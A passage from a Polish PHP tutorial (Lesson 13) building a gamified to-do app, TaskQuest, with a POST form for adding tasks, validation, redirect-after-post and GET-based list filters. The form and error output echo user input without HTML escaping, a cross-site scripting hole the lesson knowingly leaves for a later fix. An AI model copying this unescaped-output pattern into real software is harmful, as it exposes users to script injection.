    $opisZadania = trim(preg_replace('/\s+/', ' ', $_POST&#91;'opis'] ?? ''));
    $terminZadania = trim($_POST&#91;'termin'] ?? '');
    $xpZadania = trim($_POST&#91;'xp'] ?? '');

    $bledy = walidujNoweZadanie($tytulZadania, $opisZadania, $terminZadania, $xpZadania);

    if (count($bledy) === 0) {
        try {
            $zadania = wczytajZadania(PLIK_ZADAN);

            $zadania&#91;] = &#91;
                'id' =&gt; nastepneIdZadania($zadania),
                'tytul' =&gt; $tytulZadania,
                'opis' =&gt; $opisZadania,
                'termin' =&gt; $terminZadania,
                'wykonane' =&gt; false,
                'xp' =&gt; (int) $xpZadania
            ];

            zapiszZadania(PLIK_ZADAN, $zadania);

            header('Location: index.php?dodano=1');
            exit;
        } catch (Exception $wyjatek) {
            $bladZapisu = $wyjatek-&gt;getMessage();
        }
    }
}


// --- prezentacja ---
$nazwaStrony = 'Dodaj zadanie — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?&gt;
        &lt;h2&gt;Nowe zadanie&lt;/h2&gt;
        &lt;p&gt;&lt;a href="index.php"&gt;← Wróć do listy zadań&lt;/a&gt;&lt;/p&gt;

        &lt;?php if (count($bledy) &gt; 0) { ?&gt;
        &lt;div class="blad"&gt;
            &lt;p&gt;Popraw formularz:&lt;/p&gt;
            &lt;ul&gt;
                &lt;?php foreach ($bledy as $blad) { ?&gt;
                &lt;li&gt;&lt;?= $blad; ?&gt;&lt;/li&gt;
                &lt;?php } ?&gt;
            &lt;/ul&gt;
        &lt;/div&gt;
        &lt;?php } ?&gt;

        &lt;?php if ($bladZapisu !== null) { ?&gt;
        &lt;p class="blad"&gt;Nie udało się dodać zadania: &lt;?= $bladZapisu; ?&gt;&lt;/p&gt;
        &lt;?php } ?&gt;

        &lt;form method="post" action="dodaj-zadanie.php"&gt;
            &lt;label for="tytul"&gt;Tytuł *&lt;/label&gt;
            &lt;input type="text" id="tytul" name="tytul" maxlength="100" required value="&lt;?= $tytulZadania; ?&gt;"&gt;

            &lt;label for="opis"&gt;Opis&lt;/label&gt;
            &lt;textarea id="opis" name="opis" rows="3" maxlength="300"&gt;&lt;?= $opisZadania; ?&gt;&lt;/textarea&gt;

            &lt;label for="termin"&gt;Termin *&lt;/label&gt;
            &lt;input type="date" id="termin" name="termin" required value="&lt;?= $terminZadania; ?&gt;"&gt;

            &lt;label for="xp"&gt;Nagroda XP (1–100) *&lt;/label&gt;
            &lt;input type="number" id="xp" name="xp" min="1" max="100" required value="&lt;?= $xpZadania; ?&gt;"&gt;

            &lt;button type="submit"&gt;Dodaj zadanie&lt;/button&gt;
        &lt;/form&gt;
&lt;?php
require_once __DIR__ . '/includes/footer.php';</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// --- pliki aplikacji ---
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';


// --- dane użytkownika ---
$imieUzytkownika = "Kama";
$login = "Kama_2026";


// --- dane zadań (z pliku CSV) ---
$zadania = &#91;];
$bladZadan = null;

try {
    $zadania = wczytajZadania(PLIK_ZADAN);
} catch (Exception $wyjatek) {
    $bladZadan = $wyjatek-&gt;getMessage();
}


// --- dane grywalizacji (symulowane) ---
$xp = 99;
$streak = 5;
$dataOstatniejAktywnosci = "2026-09-14";


// --- wywołania funkcji: grywalizacja ---
$poziom = obliczPoziom($xp);
$tytul = pobierzTytul($poziom);
$xpWAktualnymPoziomie = obliczXpWAktualnymPoziomie($xp, $poziom);
$procentPostepu = obliczProcentPostepu($xpWAktualnymPoziomie);
$brakujeXp = ileBrakujeXp($xp, $poziom);

//pasek postępu
$liczbaAktywnychSegmentow = (int) ($procentPostepu / 10);
$progNastepnegoPoziomu = $poziom * XP_NA_POZIOM;


// --- wywołania funkcji: lista zadań ---
$wykonaneZadania = pobierzWykonaneZadania($zadania);
$aktywneZadania = pobierzAktywneZadania($zadania);

$liczbaWszystkich = count($zadania);
$liczbaWykonanych = count($wykonaneZadania);
$liczbaAktywnych = count($aktywneZadania);

$xpDoZdobycia = sumujXp($aktywneZadania);

$zadaniaWgTerminu = sortujPoTerminie($zadania);
$aktywneWgTerminu = sortujPoTerminie($aktywneZadania);
$wykonaneWgTerminu = sortujPoTerminie($wykonaneZadania);

// uproszczenie (symulacja): aktywność = wykonane jakiekolwiek zadanie z listy
$zadanieWykonane = $liczbaWykonanych &gt; 0;

$streak = aktualizujStreak($streak, $dataOstatniejAktywnosci, $zadanieWykonane);


// --- parametry z adresu strony (GET) ---
$filtr = $_GET&#91;'filtr'] ?? 'wszystkie';

if ($filtr !== 'aktywne' &amp;&amp; $filtr !== 'wykonane') {
    $filtr = 'wszystkie';
}

$zadaniaDoWyswietlenia = match ($filtr) {
    'wszystkie' =&gt; $zadaniaWgTerminu,
    'aktywne' =&gt; $aktywneWgTerminu,
    'wykonane' =&gt; $wykonaneWgTerminu
};

$zadanieDodane = ($_GET&#91;'dodano'] ?? '') === '1';


// --- prezentacja ---
$nazwaStrony = 'TaskQuest';
require_once __DIR__ . '/includes/header.php';
?&gt;
        &lt;p&gt;Zdobywaj punkty za wykonane zadania!&lt;/p&gt;

        &lt;?php
        if (walidujLogin($login)) {
            echo "&lt;p&gt;Login poprawny: $login&lt;/p&gt;";
        } else {
            echo "&lt;p&gt;Login jest niepoprawny.&lt;/p&gt;";
        }
        ?&gt;

        &lt;h2&gt;Witaj, &lt;?= $imieUzytkownika; ?&gt;!&lt;/h2&gt;

        &lt;p&gt;Poziom: &lt;strong&gt;&lt;?= $poziom; ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Tytuł: &lt;strong&gt;&lt;?= $tytul; ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Łączne XP: &lt;strong&gt;&lt;?= $xp; ?&gt;&lt;/strong&gt;&lt;/p&gt;

        &lt;h3&gt;
            &lt;?= "Masz $xpWAktualnymPoziomie XP z " . XP_NA_POZIOM . " XP potrzebnych do poziomu " . ($poziom + 1) . " (" . round($procentPostepu, 2) . "%)"; ?&gt;
        &lt;/h3&gt;

        &lt;div class="pasek-xp"&gt;
            &lt;?php
            for ($segment = 1; $segment &lt;= 10; $segment++) {
                if ($segment &lt;= $liczbaAktywnychSegmentow) {
                    echo "█";
                } else {
                    echo "░";
                }
            }
            ?&gt;
        &lt;/div&gt;

        &lt;p&gt;Kolejny próg: &lt;?= $progNastepnegoPoziomu; ?&gt; XP&lt;/p&gt;
        &lt;p&gt;Brakuje XP: &lt;strong&gt;&lt;?= $brakujeXp; ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Streak: &lt;strong&gt;&lt;?= $streak ?&gt;&lt;/strong&gt;&lt;/p&gt;

        &lt;h2&gt;Twoje zadania&lt;/h2&gt;

        &lt;p&gt;&lt;a href="dodaj-zadanie.php"&gt;+ Dodaj zadanie&lt;/a&gt;&lt;/p&gt;

        &lt;?php if ($zadanieDodane) { ?&gt;
        &lt;p class="sukces"&gt;Zadanie zostało dodane.&lt;/p&gt;
        &lt;?php } ?&gt;

        &lt;?php if ($bladZadan !== null) { ?&gt;
        &lt;p class="blad"&gt;Nie udało się wczytać zadań: &lt;?= $bladZadan; ?&gt;&lt;/p&gt;
        &lt;?php } else { ?&gt;

        &lt;p&gt;
            Wszystkie: &lt;strong&gt;&lt;?= $liczbaWszystkich; ?&gt;&lt;/strong&gt; |
            Wykonane: &lt;strong&gt;&lt;?= $liczbaWykonanych; ?&gt;&lt;/strong&gt; |
            Aktywne: &lt;strong&gt;&lt;?= $liczbaAktywnych; ?&gt;&lt;/strong&gt;
        &lt;/p&gt;
        &lt;p&gt;XP do zdobycia z aktywnych zadań: &lt;strong&gt;&lt;?= $xpDoZdobycia; ?&gt;&lt;/strong&gt;&lt;/p&gt;

        &lt;?php
        if ($liczbaWszystkich === 0) {
            echo "&lt;p&gt;Brak zadań.&lt;/p&gt;";
        } elseif ($liczbaAktywnych === 0) {
            echo "&lt;p&gt;Wszystkie zadania wykonane — świetna robota!&lt;/p&gt;";
        } else {
            if ($xpDoZdobycia &gt;= $brakujeXp) {
                echo "&lt;p class=\"awans\"&gt;Wykonując aktywne zadania, awansujesz na poziom " . ($poziom + 1) . "!&lt;/p&gt;";
            } else {
                echo "&lt;p&gt;Aktywne zadania nie wystarczą jeszcze na awans — brakuje " . ($brakujeXp - $xpDoZdobycia) . " XP.&lt;/p&gt;";
            }

            $najpilniejsze = $aktywneWgTerminu&#91;0];
            echo "&lt;p&gt;Najpilniejsze zadanie: &lt;strong&gt;" . wyczyscTytul($najpilniejsze&#91;'tytul']) . "&lt;/strong&gt; — "
                . komunikatTerminu($najpilniejsze&#91;'termin']) . "&lt;/p&gt;";
        }

        echo "&lt;h3&gt;Lista zadań (wg terminu)&lt;/h3&gt;";
        echo "&lt;p&gt;Pokaż: &lt;a href=\"index.php?filtr=wszystkie\"&gt;wszystkie&lt;/a&gt; | "
            . "&lt;a href=\"index.php?filtr=aktywne\"&gt;aktywne&lt;/a&gt; | "
            . "&lt;a href=\"index.php?filtr=wykonane\"&gt;wykonane&lt;/a&gt;&lt;/p&gt;";
        echo "&lt;p&gt;Widok: &lt;strong&gt;$filtr&lt;/strong&gt;&lt;/p&gt;";

        if ($liczbaWszystkich &gt; 0 &amp;&amp; count($zadaniaDoWyswietlenia) === 0) {
            echo "&lt;p&gt;Brak zadań w tym widoku.&lt;/p&gt;";
        }

        foreach ($zadaniaDoWyswietlenia as $zadanie) {
            $tytulCzysty = wyczyscTytul($zadanie&#91;'tytul']);
            $znacznik = $zadanie&#91;'wykonane'] ? "&#91;X]" : "&#91; ]";
            $klasa = $zadanie&#91;'wykonane'] ? "zadanie wykonane" : "zadanie";

            echo "&lt;div class=\"$klasa\"&gt;";
            echo "&lt;p&gt;&lt;strong&gt;$znacznik $tytulCzysty&lt;/strong&gt; — {$zadanie&#91;'xp']} XP&lt;/p&gt;";
            echo "&lt;p&gt;" . skrocOpis($zadanie&#91;'opis'], 50) . "&lt;/p&gt;";
            echo "&lt;p&gt;Termin: {$zadanie&#91;'termin']}";

            if (!$zadanie&#91;'wykonane']) {
                echo " — " . komunikatTerminu($zadanie&#91;'termin']);
            }

            echo "&lt;/p&gt;";

            if (stripos($tytulCzysty, 'PHP') !== false) {
                echo "&lt;p&gt;To zadanie dotyczy PHP.&lt;/p&gt;";
            }

            echo "&lt;/div&gt;";
        }
        ?&gt;
        &lt;?php } ?&gt;
&lt;?php
require_once __DIR__ . '/includes/footer.php';</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;
    &lt;title&gt;&lt;?= $nazwaStrony; ?&gt;&lt;/title&gt;
    &lt;style&gt;
        body { font-family: Arial, sans-serif; max-width: 700px; margin: 40px auto; padding: 20px; }
        .panel { border: 1px solid #ccc; padding: 24px; border-radius: 12px; }
        .pasek-xp { display: flex; gap: 4px; margin: 10px 0; }
        .segment { width: 32px; height: 18px; background: #ddd; border-radius: 3px; }
        .segment.aktywny { background: #555; }
        .awans { font-weight: bold; }
        .zadanie { border: 1px solid #ddd; border-radius: 8px; padding: 4px 16px; margin: 10px 0; }
        .zadanie.wykonane { background: #f2f2f2; color: #666; }
        .blad { border: 1px solid #c00; background: #fdecec; color: #900; border-radius: 8px; padding: 8px 16px; }
        .sukces { border: 1px solid #080; background: #eaf7ea; color: #060; border-radius: 8px; padding: 8px 16px; }
        form label { display: block; margin-top: 12px; }
        form input, form textarea { width: 100%; padding: 6px; box-sizing: border-box; }
        form button { margin-top: 16px; padding: 8px 16px; }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;div class="panel"&gt;
        &lt;h1&gt;TaskQuest&lt;/h1&gt;</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;p&gt;TaskQuest 1.3&lt;/p&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></h2>



<p class="wp-block-paragraph">Jedyna zmiana: w tablicy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> dochodzi pozycja <code class="prettyprint lang-sql" style="font-size: 0.85em;">'dodaj-zadanie.php'</code> (razem <strong>12</strong> ścieżek). Reszta pliku bez zmian względem Lekcji 11.</p>
</details>



<h1 class="wp-block-heading">10. Co zmieniliśmy w TaskQuest?</h1>



<h3 class="wp-block-heading">Zostaje</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$imieUzytkownika, $login
$xp, $poziom, $tytul, $xpWAktualnymPoziomie, $procentPostepu, $brakujeXp,
$liczbaAktywnychSegmentow, $progNastepnegoPoziomu
$streak, $dataOstatniejAktywnosci, $zadanieWykonane
$zadania, $bladZadan, $wykonaneZadania, $aktywneZadania, $liczbaWszystkich, $liczbaWykonanych,
$liczbaAktywnych, $zadaniaWgTerminu, $aktywneWgTerminu, $xpDoZdobycia
$nazwaStrony
define('XP_NA_POZIOM', 100), define('PLIK_ZADAN', ...)

wszystkie funkcje z Lekcji 1–12 — kod bez zmian
struktura tablicy $zadania (klucze: id, tytul, opis, termin, wykonane, xp)
format data/zadania.csv
obsługa awarii wczytania zadań w index.php (try/catch, ramka .blad)</code></pre>



<h3 class="wp-block-heading">Dochodzi</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// index.php
$wykonaneWgTerminu        // sortujPoTerminie($wykonaneZadania)
$filtr                    // widok listy z $_GET&#91;'filtr']: 'wszystkie' | 'aktywne' | 'wykonane' (inne wartości → 'wszystkie')
$zadaniaDoWyswietlenia    // lista wybrana przez match ($filtr)
$zadanieDodane            // bool: czy w adresie jest dodano=1

// dodaj-zadanie.php (nowy plik)
$tytulZadania, $opisZadania, $terminZadania, $xpZadania   // dane nowego zadania z formularza (teksty, oczyszczone)
$bledy                    // tablica komunikatów z walidujNoweZadanie()
$bladZapisu               // null albo komunikat wyjątku z wczytajZadania()/zapiszZadania()

// includes/funkcje_zadan.php
nastepneIdZadania()       // największe id + 1 (dla pustej listy 1)
walidujNoweZadanie()      // zwraca tablicę komunikatów o błędach (pusta = dane poprawne)

// includes/header.php
.sukces, form label, form input, form textarea, form button</code></pre>



<p class="wp-block-paragraph">Nowe narzędzia PHP i HTML: <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form method action&gt;</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="text|date|number"&gt;</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;textarea&gt;</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;label for&gt;</code>, atrybuty <code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">min</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">max</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">maxlength</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">novalidate</code>; <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SERVER['REQUEST_METHOD']</code>, operator <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">checkdate()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('Location: ...')</code> + <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code>, wzorzec POST → przekierowanie → GET, <code class="prettyprint lang-sql" style="font-size: 0.85em;">match</code> na liście dozwolonych wartości.</p>



<h3 class="wp-block-heading">Zmieniamy</h3>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>: link „+ Dodaj zadanie” i komunikat o dodaniu pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Twoje zadania&lt;/h2&gt;</code>; nowy blok „parametry z adresu strony (GET)”; pętla listy przechodzi po <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadaniaDoWyswietlenia</code> zamiast po <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadaniaWgTerminu</code>; nad listą linki widoków, linia <code class="prettyprint lang-sql" style="font-size: 0.85em;">Widok: ...</code> i komunikat o pustym widoku,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code>: nowe reguły CSS,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 1.3</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>: 12 wymaganych plików,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> — <strong>kod bez zmian</strong>, ale pierwszy raz jest wywoływana ze strony aplikacji (w <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>, razem z <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code>).</li>
</ul>



<h3 class="wp-block-heading">Usuwamy</h3>



<p class="wp-block-paragraph">Nic. Żadna zmienna ani funkcja z Lekcji 12 nie została usunięta. <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadaniaWgTerminu</code> nadal istnieje — jest jedną z list, spośród których wybiera <code class="prettyprint lang-sql" style="font-size: 0.85em;">match</code>.</p>



<h3 class="wp-block-heading">Co nowego potrafi TaskQuest po tej lekcji?</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Po Lekcji 13 TaskQuest przyjmuje zadania od użytkownika. Na stronie <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> jest formularz, którego dane PHP sprawdza sam (nie ufając przeglądarce), pokazuje wszystkie błędy naraz i nie każe wpisywać wszystkiego od nowa. Poprawne zadanie dostaje unikalne <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> i jest dopisywane do <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> — ale tylko wtedy, gdy plik udało się poprawnie wczytać, więc uszkodzony plik nie zostanie nadpisany. Po zapisie aplikacja przekierowuje na stronę główną, dzięki czemu odświeżenie nie dodaje zadania drugi raz. Lista zadań ma trzy widoki (wszystkie, aktywne, wykonane) wybierane przez adres strony.</p>
</blockquote>



<h1 class="wp-block-heading">Do samodzielnego sprawdzenia</h1>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&#91; ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
&#91; ] Potrafię wyjaśnić, czym różni się żądanie GET od POST i gdzie jadą dane w każdym z nich.
&#91; ] Wiem, że atrybut name pola staje się kluczem w $_GET / $_POST, a wartości zawsze są tekstami.
&#91; ] Potrafię odróżnić pierwsze wejście od wysłania formularza ($_SERVER&#91;'REQUEST_METHOD']).
&#91; ] Używam ??, żeby nie sięgać po nieistniejące klucze.
&#91; ] Wiem, dlaczego required/min/max nie zastępują sprawdzania w PHP.
&#91; ] Wiem, dlaczego błędy w formularzu to tablica komunikatów, a awaria pliku — wyjątek.
&#91; ] Mam walidujNoweZadanie() i nastepneIdZadania() w funkcje_zadan.php; Test 1 i Test 2 się zgadzają.
&#91; ] dodaj-zadanie.php zachowuje wpisane dane po błędzie i pokazuje wszystkie błędy naraz.
&#91; ] Odczyt i zapis są w jednym try — uszkodzony plik nie zostaje nadpisany (Test 4).
&#91; ] Po dodaniu zadania następuje przekierowanie; F5 nie dodaje zadania drugi raz.
&#91; ] index.php ma trzy widoki listy; nieznany filtr daje widok "wszystkie" bez błędów (Test 5).
&#91; ] diagnostyka.php pokazuje 12 razy &#91;OK]; strona główna jak po Lekcji 12 (Test 6).
&#91; ] Wiem, jaki problem pokazał Eksperyment 5 i w której lekcji go naprawimy.
&#91; ] Usunęłam/usunąłem brudnopis.php i novalidate; plik zadań ma zawartość, którą chcę zachować.</code></pre>



<h1 class="wp-block-heading">Pytania kontrolne</h1>



<ol class="wp-block-list">
<li><p>Wpisujesz w formularzu (metoda GET) <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama</code> w pole z <code class="prettyprint lang-sql" style="font-size: 0.85em;">name="imie"</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">id="pole1"</code>. Jak wygląda adres po wysłaniu i jaki klucz pojawi się w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code>? Co się zmieni, gdy usuniesz z pola atrybut <code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code>?</p></li>



<li><p>Przewidź wynik każdej linii, gdy strona została otwarta zwykłym wejściem (bez formularza i bez niczego w adresie):<code class="prettyprint lang-sql" style="font-size: 0.85em;">echo $_SERVER['REQUEST_METHOD'];<br />echo $_POST['tytul'] ?? 'brak';<br />echo ($_GET['dodano'] ?? '') === '1' ? 'tak' : 'nie';<br />var_dump($_POST);<br /></code>Pole <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">type="number"</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">min="1"</code>. Podaj dwa sposoby, w jakie użytkownik może mimo to wysłać <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp=-50</code>. Która część TaskQuest go zatrzyma?</p></li>



<li><p>Dlaczego sprawdzamy XP regexem <code class="prettyprint lang-sql" style="font-size: 0.85em;">/^\d+$/</code> <strong>przed</strong> porównaniem z zakresem? Co zapisałby TaskQuest dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">12abc</code>, a jaki komunikat zobaczyłby użytkownik dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">dużo</code>, gdyby regexa nie było?</p></li>



<li><p>Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> zwraca tablicę komunikatów, a nie rzuca wyjątku przy pierwszym błędzie — skoro w <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code> wyjątek był dobrym pomysłem?</p></li>



<li><p>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> wywołania <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> są w <strong>jednym</strong> bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>. Opisz krok po kroku, co stałoby się z plikiem zawierającym jeden uszkodzony wiersz, gdyby przy awarii odczytu kod przyjął pustą listę i mimo to zapisał nowe zadanie.</p></li>



<li><p>Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code> szuka największego <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, zamiast liczyć <code class="prettyprint lang-sql" style="font-size: 0.85em;">count($zadania) + 1</code>? Podaj przykład listy, dla której te dwa sposoby dają różny wynik.</p></li>



<li><p>Co się dzieje po kliknięciu „Dodaj zadanie” — wymień po kolei żądania, które widać w F12 → Sieć, z ich metodami i statusami. Dlaczego po tym F5 nie dodaje zadania ponownie?</p></li>



<li><p>Dlaczego filtr listy zadań przekazujemy przez GET, a dodawanie zadania przez POST? Co mogłoby się stać, gdyby dodawanie działało przez link w stylu <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php?tytul=...&amp;xp=...</code>?</p></li>



<li><p>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> wartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">$filtr</code> pochodzi od użytkownika, a mimo to wypisujemy ją na stronie bez obaw. Dlaczego jest bezpieczna? Czy to samo można powiedzieć o tytule zadania dodanym przez formularz (Eksperyment 5)?</p></li>



<li><p>Komunikat „Zadanie zostało dodane.” można wywołać, wpisując ręcznie <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?dodano=1</code>. Dlaczego? Jakiego mechanizmu brakuje, żeby komunikat był naprawdę jednorazowy?</p></li>
</ol>



<h1 class="wp-block-heading">Zadanie końcowe — rozbuduj TaskQuest samodzielnie</h1>



<p class="wp-block-paragraph">Wybierz <strong>jedno</strong> (albo oba):</p>



<p class="wp-block-paragraph"><strong>A) „Zrobione!” — oznaczanie zadania jako wykonanego.</strong> Przy każdym <strong>niewykonanym</strong> zadaniu na liście w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> dodaj mały formularz z jednym przyciskiem „Zrobione” (metoda POST, <code class="prettyprint lang-sql" style="font-size: 0.85em;">action="oznacz-wykonane.php"</code>) i ukrytym polem <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="hidden" name="id" value="..."&gt;</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> zadania. Utwórz stronę <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>, która:</p>



<ol class="wp-block-list">
<li>przyjmuje <strong>tylko</strong> żądania POST (dla GET od razu przekierowuje na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>),</li>



<li>sprawdza, czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> składa się z samych cyfr,</li>



<li>w <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>: wczytuje zadania, znajduje zadanie o tym <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> (pętla <code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach</code> z kluczem: <code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach ($zadania as $klucz =&gt; $zadanie)</code>), ustawia mu <code class="prettyprint lang-sql" style="font-size: 0.85em;">'wykonane' =&gt; true</code> przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania[$klucz]['wykonane'] = true;</code>, zapisuje plik i przekierowuje na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?wykonano=1</code>,</li>



<li>gdy zadania o takim <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nie ma albo wystąpi wyjątek — pokazuje czytelny komunikat i link powrotny.</li>
</ol>



<p class="wp-block-paragraph">Na stronie głównej dodaj komunikat „Zadanie oznaczone jako wykonane.” (analogicznie do <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodano=1</code>). Pytania do przemyślenia: dlaczego przycisk to formularz POST, a nie link <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php?id=3</code>? Czy ukryte pole jest naprawdę ukryte przed użytkownikiem (sprawdź w F12)? Co się stanie, gdy ktoś wyśle <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nieistniejącego zadania? <strong>Nie zmieniaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code> użytkownika</strong> — XP jest nadal symulowane, a przyznawanie nagrody wróci razem z bazą danych.</p>



<p class="wp-block-paragraph"><strong>B) Wyszukiwarka.</strong> Nad listą zadań w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> dodaj formularz wyszukiwania (metoda <strong>GET</strong>, pole <code class="prettyprint lang-sql" style="font-size: 0.85em;">name="szukaj"</code>). Lista ma pokazywać tylko te zadania z bieżącego widoku, których oczyszczony tytuł zawiera wpisane słowo — bez względu na wielkość liter (<code class="prettyprint lang-sql" style="font-size: 0.85em;">stripos()</code> znasz z Lekcji 8). Wymagania: puste pole = brak filtrowania; po wyszukaniu słowo zostaje w polu; wyszukiwanie ma działać <strong>razem</strong> z widokiem (np. aktywne + „PHP”) — podpowiedź: ukryte pole <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="hidden" name="filtr" value="..."&gt;</code> w formularzu wyszukiwania. Dlaczego tu GET jest lepszy niż POST? Sprawdź: czy adres z wynikami wyszukiwania można zapisać w zakładkach? Uwaga: wpisane słowo wraca na stronę (w polu i ewentualnie w komunikacie) — pamiętaj o Eksperymencie 5.</p>



<p class="wp-block-paragraph">Nie potrzebujesz niczego, czego nie poznałaś/poznałeś do tej pory.</p>



<h1 class="wp-block-heading">Most do Lekcji 14</h1>



<p class="wp-block-paragraph">TaskQuest przyjmuje już dane od użytkownika. Ale każda strona nadal działa „w próżni”: skrypt kończy się po wysłaniu odpowiedzi i niczego nie pamięta. Stąd nasze obejścia:</p>



